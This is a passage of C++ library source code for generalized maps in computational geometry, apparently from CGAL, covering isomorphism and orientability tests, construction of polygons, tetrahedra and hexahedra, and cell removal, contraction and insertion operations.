typename Self::Hash_function> bijection;
while (match && !toTreat1.empty())
{
// Next dart
current = toTreat1.front();
toTreat1.pop_front();
other = toTreat2.front();
toTreat2.pop_front();
if (!is_marked(current, m1))
{
if (map2.is_marked(other, m2))
match=false;
else
{
bijection[current] = other;
mark(current, m1);
map2.mark(other, m2);
// We first test info of darts
if (match && testDartInfo)
match=internal::Test_is_same_dart_info_functor<Self, Map2>::
run(*this, map2, current, other);
// We need to test in both direction because
// Foreach_enabled_attributes only test non void attributes
// of Self. Functor Test_is_same_attribute_functor will modify
// the value of match to false if attributes do not match
if (testAttributes)
{
if (match)
Helper::template Foreach_enabled_attributes
< internal::Test_is_same_attribute_functor<Self, Map2> >::
run(*this, map2, current, other, match);
if (match)
Map2::Helper::template Foreach_enabled_attributes
< internal::Test_is_same_attribute_functor<Map2, Self> >::
run(map2, *this, other, current, match);
}
if (match && testPoint)
{
// Only point of 0-attributes are tested. TODO test point of all
// attributes ?
match=internal::Test_is_same_attribute_point_functor
<Self, Map2, 0>::run(*this, map2, current, other);
}
// We test if the injection is valid with its neighboors.
// We go out as soon as it is not satisfied.
for (i = 0; match && i <= dimension; ++i)
{
if ( i>map2.dimension )
{
if (!is_free(current,i))
{ match=false; }
}
else
{
if (is_free(current,i))
{
if (!map2.is_free(other,i))
{ match = false; }
}
else
{
if (map2.is_free(other,i))
{ match = false; }
else
{
if (is_marked(alpha(current,i), m1) !=
map2.is_marked(map2.alpha(other,i), m2))
{ match = false; }
else
{
if (!is_marked(alpha(current,i), m1))
{
if (!is_marked(alpha(current,i), markpush))
{
toTreat1.push_back(alpha(current,i));
toTreat2.push_back(map2.alpha(other,i));
mark(alpha(current,i), markpush);
}
}
else
{
if (bijection[alpha(current,i)]!=map2.alpha(other,i))
{ match = false; }
}
}
}
}
}
}
// Now we test if the second map has more alpha links than the first
for ( i=dimension+1; match && i<=map2.dimension; ++i )
{
if (!map2.is_free(other,i))
{ match=false; }
}
}
}
else
{
if (!map2.is_marked(other, m2))
{ match=false; }
}
}
// Here we test if both queue are empty
if ( !toTreat1.empty() || !toTreat2.empty() )
{ match=false; }
// Here we unmark all the marked darts.
toTreat1.clear();
toTreat2.clear();
toTreat1.push_back(dh1);
toTreat2.push_back(dh2);
unmark(dh1, m1);
unmark(dh1, markpush);
map2.unmark(dh2, m2);
while (!toTreat1.empty())
{
current = toTreat1.front();
toTreat1.pop_front();
other = toTreat2.front();
toTreat2.pop_front();
for (i = 0; i <= dimension; ++i)
{
if (!is_free(current,i) && is_marked(alpha(current,i), markpush))
{
toTreat1.push_back(alpha(current,i));
toTreat2.push_back(map2.alpha(other,i));
unmark(alpha(current,i), m1);
unmark(alpha(current,i), markpush);
map2.unmark(map2.alpha(other,i), m2);
}
}
}
assert(is_whole_map_unmarked(m1));
assert(is_whole_map_unmarked(markpush));
assert(map2.is_whole_map_unmarked(m2));
free_mark(m1);
free_mark(markpush);
map2.free_mark(m2);
return match;
}
/** Test if this gmap is isomorphic to map2.
* @pre gmap is connected.
* @param map2 the second generalized map
* @param testDartInfo Boolean to test the equality of dart info (true)
* or not (false)
* @param testAttributes Boolean to test the equality of attributes (true)
* or not (false)
* @param testPoint Boolean to test the equality of points (true)
* or not (false) (used for LCC)
* @return true iff this map is isomorphic to map2, testing the equality
* of attributes if testAttributes is true
*/
template <unsigned int d2, typename Refs2, typename Items2, class Alloc2,
class Storage2>
bool is_isomorphic_to(const Generalized_map_base
<d2,Refs2,Items2,Alloc2, Storage2>& map2,
bool testDartInfo=true,
bool testAttributes=true,
bool testPoint=true) const
{
if (is_empty() && map2.is_empty()) return true;
if (is_empty() || map2.is_empty()) return false;
Dart_const_handle d1=darts().begin();
for (typename Generalized_map_base<d2,Refs2,Items2,Alloc2, Storage2>::
Dart_range::const_iterator it(map2.darts().begin()),
itend(map2.darts().end()); it!=itend; ++it)
{
if (are_cc_isomorphic(d1, map2, it, testDartInfo, testAttributes,
testPoint))
{
return true;
}
}
return false;
}
/** @return true iff the connected component containing dh is orientable
* If amark!=INVALID_MARK, mark all darts in the cc with amark
* If aorientationmark!=INVALID_MARK, and if the cc is orientable, mark
* all darts of one orientation of the cc with aorientationmark
* (i.e. one out of two darts)
* Note it is not allow to have accmark!=INVALID_MARK and
* aorientationmark==INVALID_MARK.
*/
bool is_cc_orientable(Dart_const_handle dh,
size_type accmark=INVALID_MARK,
size_type aorientationmark=INVALID_MARK) const
{
if (accmark!=INVALID_MARK && aorientationmark==INVALID_MARK)
{
std::cerr<<"Error for is_cc_orientable: you cannot use accmark"
<<" different from INVALID_MARK and aorientationmark "
<<" equal to INVALID_MARK"<<std::endl;
accmark=INVALID_MARK;
}
size_type ccmark=(accmark==INVALID_MARK?get_new_mark():accmark);
size_type orientationmark=
(aorientationmark==INVALID_MARK?get_new_mark():aorientationmark);
bool stop_if_nonorientable =
(accmark==INVALID_MARK && aorientationmark==INVALID_MARK);
std::queue<Dart_const_handle> toTreat;
bool orientable=true;
Dart_const_handle cur;
// Iterator through the connected component
toTreat.push(dh);
mark(dh, ccmark);
mark(dh, orientationmark);
while((!stop_if_nonorientable || orientable) && !toTreat.empty())
{
cur=toTreat.front();
toTreat.pop();
for (unsigned int i=0; i<=dimension; ++i)
{
if (is_marked(cur, orientationmark))
{
if (!is_free(cur, i) &&
is_marked(alpha(cur, i), orientationmark))
orientable=false;
}
else
{
if (!is_free(cur, i))
mark(alpha(cur, i), orientationmark);
}
if (!is_marked(alpha(cur, i), ccmark))
{
mark(alpha(cur, i), ccmark);
toTreat.push(alpha(cur, i));
}
}
}
// Now we need to unmark the marked darts for accmark and/or for
// aorientationmark (when they are different from INVALID_MARK).
if (stop_if_nonorientable)
{
toTreat.push(dh);
unmark(dh, ccmark);
if (aorientationmark==INVALID_MARK) unmark(dh, orientationmark);
while(!toTreat.empty())
{
cur=toTreat.front();
toTreat.pop();
for (unsigned int i=0; i<=dimension; ++i)
{
if (aorientationmark==INVALID_MARK)
unmark(alpha(cur, i), orientationmark);
if (!is_marked(alpha(cur, i), ccmark))
{
unmark(alpha(cur, i), ccmark);
toTreat.push(alpha(cur, i));
}
}
}
if (aorientationmark==INVALID_MARK)
{
assert(is_whole_map_marked(orientationmark));
free_mark(orientationmark);
}
assert(is_whole_map_marked(ccmark));
free_mark(ccmark);
}
return orientable;
}
/** @return true iff the GMap is orientable
* If aorientationmark!=INVALID_MARK, and if the cc is orientable, mark
* all darts of one orientation of the cc with aorientationmark
* (i.e. one out of two darts)
*/
bool is_orientable(size_type aorientationmark=INVALID_MARK) const
{
size_type ccmark=get_new_mark();
size_type orientationmark=
(aorientationmark==INVALID_MARK?get_new_mark():aorientationmark);
bool stop_if_nonorientable = (aorientationmark==INVALID_MARK);
bool orientable=true;
for (typename Dart_const_range::const_iterator it=darts().begin(),
itend=darts().end();
(!stop_if_nonorientable || orientable) && it!=itend; ++it)
{
if (!is_marked(it, ccmark))
{
if (!is_cc_orientable(it, ccmark, orientationmark))
orientable=false;
}
}
for (typename Dart_const_range::const_iterator it=darts().begin(),
itend=darts().end();
number_of_marked_darts(ccmark)>0 && it!=itend; ++it)
{
unmark(it, ccmark);
if (aorientationmark==INVALID_MARK) unmark(it, orientationmark);
}
if (aorientationmark==INVALID_MARK)
{
assert(is_whole_map_unmarked(orientationmark));
free_mark(orientationmark);
}
assert(is_whole_map_unmarked(ccmark));
free_mark(ccmark);
return orientable;
}
/** Test if the attributes of this map are automatically updated.
* @return true iff the boolean automatic_attributes_management is set to true.
*/
bool are_attributes_automatically_managed() const
{
return automatic_attributes_management;
}
/** Sets the automatic_attributes_management boolean.
*/
void set_automatic_attributes_management(bool newval)
{
if (this->automatic_attributes_management == false && newval == true)
{
correct_invalid_attributes();
}
this->automatic_attributes_management = newval;
}
/** Create an half-edge.
* @return a dart of the new half-edge.
*/
Dart_handle make_half_edge()
{
Dart_handle d1=create_dart();
basic_link_alpha<0>(d1, create_dart());
return d1;
}
/** Create an edge.
* if closed==true, the edge has no 2-free dart.
* @return a dart of the new edge.
*/
Dart_handle make_edge(bool closed=false)
{
Dart_handle d1=create_dart();
Dart_handle d2=create_dart();
basic_link_alpha<0>(d1, d2);
if (closed)
{
Dart_handle d3=create_dart();
Dart_handle d4=create_dart();
basic_link_alpha<0>(d3, d4);
basic_link_alpha<2>(d1, d3);
basic_link_alpha<2>(d2, d4);
}
return d1;
}
/** Create an edge given 2 Attribute_handle<0>.
* Note that this function can be used only if 0-attributes are non void
* @param h0 the first vertex handle.
* @param h1 the second vertex handle.
* if closed==true, the edge has no 2-free dart.
* @return the dart of the new edge incident to h0.
*/
Dart_handle make_segment(typename Attribute_handle<0>::type h0,
typename Attribute_handle<0>::type h1,
bool closed=false)
{
Dart_handle d1 = this->make_edge(closed);
set_dart_attribute<0>(d1,h0);
set_dart_attribute<0>(this->alpha<0>(d1),h1);
if (closed)
{
set_dart_attribute<0>(this->alpha<2>(d1),h0);
set_dart_attribute<0>(this->alpha<0,2>(d1),h1);
}
return d1;
}
/** Create a combinatorial polygon of length alg
* (a cycle of alg edges alpha1 links together).
* @return a new dart.
*/
Dart_handle make_combinatorial_polygon(unsigned int alg)
{
CGAL_assertion(alg>0);
Dart_handle start = make_edge();
Dart_handle prev = alpha<0>(start);
for ( unsigned int nb=1; nb<alg; ++nb )
{
Dart_handle cur = make_edge();
basic_link_alpha<1>(prev, cur);
prev=alpha<0>(cur);
}
basic_link_alpha<1>(prev, start);
return start;
}
/** Test if a face is a combinatorial polygon of length alg
* (a cycle of alg edges alpha1 links together).
* @param adart an intial dart
* @return true iff the face containing adart is a polygon of length alg.
*/
bool is_face_combinatorial_polygon(Dart_const_handle adart,
unsigned int alg) const
{
CGAL_assertion(alg>0);
unsigned int nb = 0;
Dart_const_handle cur = adart;
do
{
++nb;
if ( is_free(cur, 0) || is_free(alpha(cur, 0), 1) )
return false; // Open face
cur = alpha(cur,0,1);
}
while( cur!=adart );
return (nb==alg);
}
/** Create a triangle given 3 Attribute_handle<0>.
* @param h0 the first handle.
* @param h1 the second handle.
* @param h2 the third handle.
* Note that this function can be used only if 0-attributes are non void
* @return the dart of the new triangle incident to h0 and to edge h0h1.
*/
Dart_handle make_triangle(typename Attribute_handle<0>::type h0,
typename Attribute_handle<0>::type h1,
typename Attribute_handle<0>::type h2)
{
Dart_handle d1 = this->make_combinatorial_polygon(3);
set_dart_attribute<0>(d1,h0);
set_dart_attribute<0>(this->alpha<1>(d1),h0);
set_dart_attribute<0>(this->alpha<0>(d1),h1);
set_dart_attribute<0>(this->alpha<0,1>(d1),h1);
set_dart_attribute<0>(this->alpha<1,0>(d1),h2);
set_dart_attribute<0>(this->alpha<1,0,1>(d1),h2);
return d1;
}
/** Create a quadrangle given 4 Vertex_attribute_handle.
* @param h0 the first vertex handle.
* @param h1 the second vertex handle.
* @param h2 the third vertex handle.
* @param h3 the fourth vertex handle.
* Note that this function can be used only if 0-attributes are non void
* @return the dart of the new quadrilateral incident to h0 and to edge h0h1.
*/
Dart_handle make_quadrangle(typename Attribute_handle<0>::type h0,
typename Attribute_handle<0>::type h1,
typename Attribute_handle<0>::type h2,
typename Attribute_handle<0>::type h3)
{
Dart_handle d1 = this->make_combinatorial_polygon(4);
set_dart_attribute<0>(d1,h0);
set_dart_attribute<0>(this->alpha<1>(d1),h0);
set_dart_attribute<0>(this->alpha<0>(d1),h1);
set_dart_attribute<0>(this->alpha<0,1>(d1),h1);
set_dart_attribute<0>(this->alpha<0,1,0>(d1),h2);
set_dart_attribute<0>(this->alpha<0,1,0,1>(d1),h2);
set_dart_attribute<0>(this->alpha<1,0>(d1),h3);
set_dart_attribute<0>(this->alpha<1,0,1>(d1),h3);
return d1;
}
/** Create a combinatorial tetrahedron from 4 triangles.
* @param d1 a dart onto a first triangle.
* @param d2 a dart onto a second triangle.
* @param d3 a dart onto a third triangle.
* @param d4 a dart onto a fourth triangle.
* @return d1.
*/
Dart_handle make_combinatorial_tetrahedron(Dart_handle d1,
Dart_handle d2,
Dart_handle d3,
Dart_handle d4)
{
topo_sew<2>(d1, alpha(d2, 0));
topo_sew<2>(d3, alpha(d2, 1));
topo_sew<2>(alpha(d1, 0, 1), alpha(d3, 1));
topo_sew<2>(alpha(d4, 0), alpha(d2, 0, 1));
topo_sew<2>(alpha(d4, 1), alpha(d3, 0, 1));
topo_sew<2>(alpha(d4, 0, 1), alpha(d1, 1));
return d1;
}
/** Test if a volume is a combinatorial tetrahedron.
* @param adart an intial dart
* @return true iff the volume containing adart is a combinatorial tetrahedron.
*/
bool is_volume_combinatorial_tetrahedron(Dart_const_handle d1)
{
Dart_const_handle d2 = alpha(d1, 0, 2);
Dart_const_handle d3 = alpha(d2, 1, 2);
Dart_const_handle d4 = alpha(d2, 0, 1, 0, 2);
if ( !is_face_combinatorial_polygon(d1, 3) ||
!is_face_combinatorial_polygon(d2, 3) ||
!is_face_combinatorial_polygon(d3, 3) ||
!is_face_combinatorial_polygon(d4, 3) ) return false;
// TODO do better with marks (?).
if ( belong_to_same_cell<Self,2,1>(*this, d1, d2) ||
belong_to_same_cell<Self,2,1>(*this, d1, d3) ||
belong_to_same_cell<Self,2,1>(*this, d1, d4) ||
belong_to_same_cell<Self,2,1>(*this, d2, d3) ||
belong_to_same_cell<Self,2,1>(*this, d2, d4) ||
belong_to_same_cell<Self,2,1>(*this, d3, d4) ) return false;
if ( alpha(d1, 0,1,2)!=alpha(d3,1) ||
alpha(d4, 1,2)!=alpha(d3,0,1) ||
alpha(d4, 0,1,2)!=alpha(d1,1) ) return false;
return true;
}
/** Create a new combinatorial tetrahedron.
* @return a new dart.
*/
Dart_handle make_combinatorial_tetrahedron()
{
Dart_handle d1 = make_combinatorial_polygon(3);
Dart_handle d2 = make_combinatorial_polygon(3);
Dart_handle d3 = make_combinatorial_polygon(3);
Dart_handle d4 = make_combinatorial_polygon(3);
return make_combinatorial_tetrahedron(d1, d2, d3, d4);
}
/** Create a combinatorial hexahedron from 6 quadrilaterals.
* @param d1 a dart onto a first quadrilateral.
* @param d2 a dart onto a second quadrilateral.
* @param d3 a dart onto a third quadrilateral.
* @param d4 a dart onto a fourth quadrilateral.
* @param d5 a dart onto a fifth quadrilateral.
* @param d6 a dart onto a sixth quadrilateral.
* @return d1.
*/
Dart_handle make_combinatorial_hexahedron(Dart_handle d1,
Dart_handle d2,
Dart_handle d3,
Dart_handle d4,
Dart_handle d5,
Dart_handle d6)
{
topo_sew<2>(d1, alpha(d4,1,0,1));
topo_sew<2>(alpha(d1,0,1), alpha(d6,1));
topo_sew<2>(alpha(d1,1,0,1), d2);
topo_sew<2>(alpha(d1,1), d5);
topo_sew<2>(d3, alpha(d2,1,0,1));
topo_sew<2>(alpha(d3,0,1,0), alpha(d6,0,1));
topo_sew<2>(alpha(d3,1,0,1), d4);
topo_sew<2>(alpha(d3,1,0), alpha(d5,1,0,1));
topo_sew<2>(d6, alpha(d4,0,1,0));
topo_sew<2>(alpha(d6,1,0,1), alpha(d2,0,1));
topo_sew<2>(alpha(d5,1,0), alpha(d4,1));
topo_sew<2>(alpha(d5,0,1), alpha(d2,1));
return d1;
}
/** Test if a volume is a combinatorial hexahedron.
* @param adart an intial dart
* @return true iff the volume containing adart is a combinatorial hexahedron.
*/
bool is_volume_combinatorial_hexahedron(Dart_const_handle d1)
{
Dart_const_handle d2 = alpha(d1,1,0,1,2);
Dart_const_handle d3 = alpha(d2,1,0,1,2);
Dart_const_handle d4 = alpha(d3,1,0,1,2);
Dart_const_handle d5 = alpha(d1,1,2);
Dart_const_handle d6 = alpha(d4,0,1,0,2);
if (!is_face_combinatorial_polygon(d1, 4) ||
!is_face_combinatorial_polygon(d2, 4) ||
!is_face_combinatorial_polygon(d3, 4) ||
!is_face_combinatorial_polygon(d4, 4) ||
!is_face_combinatorial_polygon(d5, 4) ||
!is_face_combinatorial_polygon(d6, 4) ) return false;
// TODO do better with marks.
if ( belong_to_same_cell<Self,2,1>(*this, d1, d2) ||
belong_to_same_cell<Self,2,1>(*this, d1, d3) ||
belong_to_same_cell<Self,2,1>(*this, d1, d4) ||
belong_to_same_cell<Self,2,1>(*this, d1, d5) ||
belong_to_same_cell<Self,2,1>(*this, d1, d6) ||
belong_to_same_cell<Self,2,1>(*this, d2, d3) ||
belong_to_same_cell<Self,2,1>(*this, d2, d4) ||
belong_to_same_cell<Self,2,1>(*this, d2, d5) ||
belong_to_same_cell<Self,2,1>(*this, d2, d6) ||
belong_to_same_cell<Self,2,1>(*this, d3, d4) ||
belong_to_same_cell<Self,2,1>(*this, d3, d5) ||
belong_to_same_cell<Self,2,1>(*this, d3, d6) ||
belong_to_same_cell<Self,2,1>(*this, d4, d5) ||
belong_to_same_cell<Self,2,1>(*this, d4, d6) ||
belong_to_same_cell<Self,2,1>(*this, d5, d6) )
return false;
if ( alpha(d1,2) !=alpha(d4,1,0,1) ||
alpha(d1,0,1,2) !=alpha(d6,1) ||
alpha(d3,0,1,0,2)!=alpha(d6,0,1) ||
alpha(d3,1,0,2) !=alpha(d5,1,0,1) ||
alpha(d6,1,0,1,2)!=alpha(d2,0,1) ||
alpha(d5,1,0,2) !=alpha(d4,1) ||
alpha(d5,0,1,2) !=alpha(d2,1) ) return false;
return true;
}
/** Create a new combinatorial hexahedron.
* @return a new dart.
*/
Dart_handle make_combinatorial_hexahedron()
{
Dart_handle d1 = make_combinatorial_polygon(4);
Dart_handle d2 = make_combinatorial_polygon(4);
Dart_handle d3 = make_combinatorial_polygon(4);
Dart_handle d4 = make_combinatorial_polygon(4);
Dart_handle d5 = make_combinatorial_polygon(4);
Dart_handle d6 = make_combinatorial_polygon(4);
return make_combinatorial_hexahedron(d1, d2, d3, d4, d5, d6);
}
/** Test if an i-cell can be removed.
* An i-cell can be removed if i==dimension or i==dimension-1,
* or if there are at most two (i+1)-cell incident to it.
* @param adart a dart of the i-cell.
* @return true iff the i-cell can be removed.
*/
template < unsigned int i >
bool is_removable(Dart_const_handle adart) const
{ return CGAL::Is_removable_functor_gmap<Self, i>::run(*this, adart); }
/** Remove an i-cell, 0<=i<=dimension.
* @param adart a dart of the i-cell to remove.
* @param update_attributes a boolean to update the enabled attributes
* @return the number of deleted darts.
*/
template < unsigned int i >
size_t remove_cell(Dart_handle adart, bool update_attributes = true)
{
return CGAL::Remove_cell_functor_gmap<Self,i,Self::dimension-i>::
run(*this,adart,update_attributes);
}
/** Test if an i-cell can be contracted.
* An i-cell can be contracted if i==1
* or if there are at most two (i-1)-cell incident to it.
* @param adart a dart of the i-cell.
* @return true iff the i-cell can be contracted.
*/
template < unsigned int i >
bool is_contractible(Dart_const_handle adart) const
{ return CGAL::Is_contractible_functor_gmap<Self, i>::run(*this,adart); }
/** Contract an i-cell, 1<=i<=dimension.
* @param adart a dart of the i-cell to remove.
* @return the number of deleted darts.
*/
template < unsigned int i >
size_t contract_cell(Dart_handle adart, bool update_attributes = true)
{
return CGAL::Contract_cell_functor_gmap<Self,i>::
run(*this, adart, update_attributes);
}
/** Insert a vertex in a given edge.
* @param adart a dart of the edge (!=NULL).
* @return a dart of the new vertex.
*/
Dart_handle insert_cell_0_in_cell_1( Dart_handle adart,
typename Attribute_handle<0>::type
ah=null_handle,
bool update_attributes=true )
{
Dart_handle d1;
size_type amark=get_new_mark();
// 1) We store all the darts of the edge.
std::deque<Dart_handle> vect;
size_type m=get_new_mark();
{
for ( typename Dart_of_cell_basic_range<1>::iterator
it=darts_of_cell_basic<1>(adart, m).begin();
it != darts_of_cell_basic<1>(adart, m).end(); ++it )
vect.push_back(it);
}
// 2) For each dart of the cell, we modify link of neighbors.
typename std::deque<Dart_handle>::iterator it = vect.begin();
for (; it != vect.end(); ++it)
{
d1 = create_dart();
if (!(this->template is_free<0>(*it)) &&
is_marked(alpha<0>(*it), amark))
basic_link_alpha<1>(d1, alpha<0,0>(*it));
basic_link_alpha<0>(*it, d1);
mark(*it, amark);
for ( unsigned int dim=2; dim<=dimension; ++dim )
{
if (!is_free(*it, dim) && is_marked(alpha(*it, dim), amark))
{
basic_link_alpha(alpha(*it, dim, 0), d1, dim);
}
}
if (are_attributes_automatically_managed() && update_attributes)
{
// We copy all the attributes except for dim=0
Helper::template Foreach_enabled_attributes_except
<CGAL::internal::GMap_group_attribute_functor_of_dart<Self>, 0>::
run(*this,*it,d1);
}
if (ah != null_handle)
{
// We initialise the 0-atttrib to ah
CGAL::internal::Set_i_attribute_of_dart_functor<Self, 0>::
run(*this, d1, ah);
mark(*it, amark);
}
}
for (it = vect.begin(); it != vect.end(); ++it)
{
unmark(*it, m);
unmark(*it, amark);
}
CGAL_assertion(is_whole_map_unmarked(m));
CGAL_assertion(is_whole_map_unmarked(amark));
free_mark(m);
free_mark(amark);
if (are_attributes_automatically_managed() && update_attributes)
{
if ( !(this->template is_free<1>(alpha<0>(adart))) )
{
CGAL::internal::GMap_degroup_attribute_functor_run<Self, 1>::
run(*this, adart, alpha<0,1>(adart));
}
}
#ifdef CGAL_CMAP_TEST_VALID_INSERTIONS
CGAL_assertion( is_valid() );
#endif
return alpha<0, 1>(adart);
}
/** Insert a vertex in the given 2-cell which is splitted in triangles,
* once for each inital edge of the facet.
* @param adart a dart of the facet to triangulate.
* @return A dart incident to the new vertex.
*/
Dart_handle insert_cell_0_in_cell_2( Dart_handle adart,
typename Attribute_handle<0>::type
ah=null_handle,
bool update_attributes=true )
{
CGAL_assertion(adart!=null_handle);
Dart_handle d1=null_handle, d2=null_handle;
// Mark used to mark darts already treated.
size_type treated = get_new_mark();
size_type m = get_new_mark();
size_type edge_pushed = get_new_mark();
// Stack of darts of the face
std::deque<Dart_handle> vect;
{
for ( typename Dart_of_cell_basic_range<2>::iterator
it=darts_of_cell_basic<2>(adart,m).begin();
it!=darts_of_cell_basic<2>(adart,m).end(); ++it )
vect.push_back(it);
}
// Stack of darts to degroup (one dart per edge of the face)
std::deque<Dart_handle> todegroup;
if (are_attributes_automatically_managed() && update_attributes)
{
for ( typename Dart_of_cell_basic_range<2,2>::iterator
it=darts_of_cell_basic<2,2>(adart).begin();
it!=darts_of_cell_basic<2,2>(adart).end(); ++it )
if ( it!=adart && it!=alpha<0>(adart) && !is_marked(it, edge_pushed))
{
todegroup.push_back(it);
mark(it, edge_pushed);
mark(this->template alpha<0>(it), edge_pushed);
}
}
// 2) For each dart of the cell, we modify link of neighbors.
typename std::deque<Dart_handle>::iterator it = vect.begin();
for (; it != vect.end(); ++it)
{
d1 = create_dart();
d2 = create_dart();
basic_link_alpha<0>(d1, d2);
mark(*it, treated);
if (!(this->template is_free<0>(*it)) &&
is_marked(this->template alpha<0>(*it), treated))
basic_link_alpha<1>(d2, this->template alpha<0,1,0>(*it));
if (!(this->template is_free<1>(*it)) &&
is_marked(this->template alpha<1>(*it), treated))
{
basic_link_alpha<2>(d1, this->template alpha<1,1>(*it));
basic_link_alpha<2>(d2, this->template alpha<1,1,0>(*it));
}
basic_link_alpha<1>(*it, d1);
for ( unsigned int dim=3; dim<=dimension; ++dim )
{
if (!is_free(*it, dim) && is_marked(alpha(*it, dim), treated))
{
basic_link_alpha(alpha(*it, dim, 1), d1, dim);
basic_link_alpha(alpha(*it, dim, 1, 0), d2, dim);
}
}
if (are_attributes_automatically_managed() && update_attributes)
{
// We copy all the attributes except for dim=1
Helper::template Foreach_enabled_attributes_except
<CGAL::internal::GMap_group_attribute_functor_of_dart<Self>, 1>::
run(*this,*it,d1);
Helper::template Foreach_enabled_attributes_except
<CGAL::internal::GMap_group_attribute_functor_of_dart<Self>, 0>::
run(*this,d1,d2);
// We initialise the 0-atttrib to ah
CGAL::internal::Set_i_attribute_of_dart_functor<Self, 0>::
run(*this, d2, ah);
}
}
for (it = vect.begin(); it != vect.end(); ++it)
{
unmark(*it, m);
unmark(*it, treated);
unmark(*it, edge_pushed);
}
CGAL_assertion(is_whole_map_unmarked(m));
CGAL_assertion(is_whole_map_unmarked(treated));
CGAL_assertion(is_whole_map_unmarked(edge_pushed));
free_mark(m);
free_mark(treated);
free_mark(edge_pushed);
if (are_attributes_automatically_managed() && update_attributes)
{
for (it = todegroup.begin(); it != todegroup.end(); ++it)
{
CGAL::internal::GMap_degroup_attribute_functor_run<Self, 2>::
run(*this, adart, *it);
}
}
#ifdef CGAL_CMAP_TEST_VALID_INSERTIONS
CGAL_assertion( is_valid() );
#endif
return alpha<1,0>(adart);
}
/** Test if an edge can be inserted onto a 2-cell between two given darts.
* @param adart1 a first dart.
* @param adart2 a second dart.
* @return true iff an edge can be inserted between adart1 and adart2.
*/
bool is_insertable_cell_1_in_cell_2(Dart_const_handle adart1,
Dart_const_handle adart2)
{
if ( adart1==adart2 || adart1==this->template alpha<0>(adart2) )
return false;
for ( CGAL::GMap_dart_const_iterator_of_orbit<Self,0,1> it(*this,adart1);
it.cont(); ++it )
{
if ( it==adart2 ) return true;
}
return false;
}
/** Insert an edge in a 2-cell between two given darts.
* @param adart1 a first dart of the facet (!=NULL && !=null_dart_handle).
* @param adart2 a second dart of the facet. If NULL insert a dangling edge.
* @return a dart of the new edge, and not incident to the
* same vertex than adart1.
*/
Dart_handle insert_cell_1_in_cell_2(Dart_handle adart1,
Dart_handle adart2,
bool update_attributes=true,
typename Attribute_handle<0>::type
ah=null_handle)
{
if ( adart2!=null_handle)
{
CGAL_assertion(is_insertable_cell_1_in_cell_2(adart1, adart2));
}
/* CGAL::GMap_dart_iterator_basic_of_involution<Self,1> will contain all
* alpha_i except alpha_0, alpha_1 and alpha_2, i.e. this is
* <alpha_3,...,alpha_d>
*/
size_type m1=get_new_mark();
CGAL::GMap_dart_iterator_basic_of_involution<Self,1> it1(*this, adart1, m1);
size_type m2=get_new_mark();
CGAL::GMap_dart_iterator_basic_of_involution<Self,1> it2(*this, adart2, m2);
Dart_handle d1=null_handle;
Dart_handle d2=null_handle;
Dart_handle d3=null_handle;
Dart_handle d4=null_handle;
size_type treated=get_new_mark();
bool isfree1 = (this->template is_free<1>(adart1));
for ( ; it1.cont(); ++it1)
{
d1 = create_dart();
d2 = create_dart();
mark(it1,treated);
if (!isfree1)
{
d3 = create_dart();
d4 = create_dart();
this->template basic_link_alpha<2>(d1, d3);
this->template basic_link_alpha<2>(d2, d4);
}
for ( unsigned int dim=3; dim<=dimension; ++dim)
{
if ( !is_free(it1, dim) &&
is_marked(alpha(it1, dim), treated) )
{
basic_link_alpha(alpha(it1, dim, 1), d1, dim);
basic_link_alpha(alpha(d1, dim, 0), d2, dim);
if (!isfree1)
{
basic_link_alpha(alpha(it1, 1, dim, 1), d3, dim);
basic_link_alpha(alpha(d3, dim, 0), d4, dim);
}
}
}
if (!isfree1)
{
this->template link_alpha<1>(this->template alpha<1>(it1), d3);
if ( adart2!=null_handle )
{
CGAL_assertion (it2.cont());
this->template link_alpha<1>(this->template alpha<1>(it2), d4);
}
}
this->template link_alpha<1>(it1, d1);
if ( adart2!=null_handle )
{
CGAL_assertion (it2.cont());
this->template link_alpha<1>(it2, d2);
++it2;
}
else
{
if (are_attributes_automatically_managed() &&
update_attributes && ah!=NULL)
{
internal::Set_i_attribute_of_dart_functor<Self, 0>::run(*this, d2, ah);
if (!isfree1)
{
internal::Set_i_attribute_of_dart_functor<Self, 0>::run(*this, d4, ah);
}
}
}
// We do the link_alpha<0> after the link_alpha<1> to update the
// possible attributes of d2.
this->template link_alpha<0>(d1, d2);
if (!isfree1)
{ this->template link_alpha<0>(d3, d4); }
}
if (are_attributes_automatically_managed() && update_attributes)
{
if ( !this->template is_free<2>(d1) && d2!=null_handle )
CGAL::internal::GMap_degroup_attribute_functor_run<Self, 2>::
run(*this, d1, this->template alpha<2>(d1));
}
negate_mark(m1);
it1.rewind();
if ( adart2!=null_handle )
{ it2.rewind(); negate_mark(m2); }
for (; it1.cont(); ++it1)
{
mark(it1,m1);
unmark(it1,treated);
if ( adart2!=null_handle )
{ mark(it2,m2); ++it2; }
}
negate_mark(m1);
CGAL_assertion( is_whole_map_unmarked(m1) );
CGAL_assertion( is_whole_map_unmarked(treated) );
free_mark(m1);
free_mark(treated);
if ( adart2!=null_handle )
{
negate_mark(m2);
CGAL_assertion( is_whole_map_unmarked(m2) );
}
free_mark(m2);
#ifdef CGAL_CMAP_TEST_VALID_INSERTIONS
CGAL_assertion( is_valid() );
#endif
return this->template alpha<1,0>(adart1);
}
/** Insert a dangling edge in a 2-cell between given by a dart.
* @param adart1 a first dart of the facet (!=NULL && !=null_dart_handle).
* @param update_attributes a boolean to update the enabled attributes
* @return a dart of the new edge, not incident to the vertex of adart1.
*/
Dart_handle insert_dangling_cell_1_in_cell_2( Dart_handle adart1,
typename Attribute_handle<0>::
type ah=null_handle,
bool update_attributes=true )
{ return insert_cell_1_in_cell_2(adart1, NULL, update_attributes, ah); }
/** Test if a 2-cell can be inserted onto a given 3-cell along
* a path of edges.
* @param afirst iterator on the begining of the path.
* @param alast iterator on the end of the path.
* @return true iff a 2-cell can be inserted along the path.
* the path is a sequence of dartd, one per edge
* where the face will be inserted.
*/
template <class InputIterator>
bool is_insertable_cell_2_in_cell_3(InputIterator afirst,
InputIterator alast)
{
CGAL_assertion( dimension>= 3 );
// The path must have at least one dart.
if (afirst==alast) return false;
Dart_const_handle prec = null_handle;
for (InputIterator it(afirst); it!=alast; ++it)
{
// The path must contain only non empty darts.
if (*it == null_handle) return false;
if (this->template is_free<0>(*it)) return false;
// Two consecutive darts of the path must belong to two edges
// incident to the same vertex of the same volume.
if (prec!=null_handle)
{
// prec and *it must belong to the same vertex of the same volume
if ( !CGAL::belong_to_same_cell<Self, 0, 2>(*this, prec, *it) )
return false;
}
prec = this->template alpha<0>(*it);
}
// The path must be closed.
if (!CGAL::belong_to_same_cell<Self, 0, 2>(*this, prec, *afirst))
return false;
return true;
}
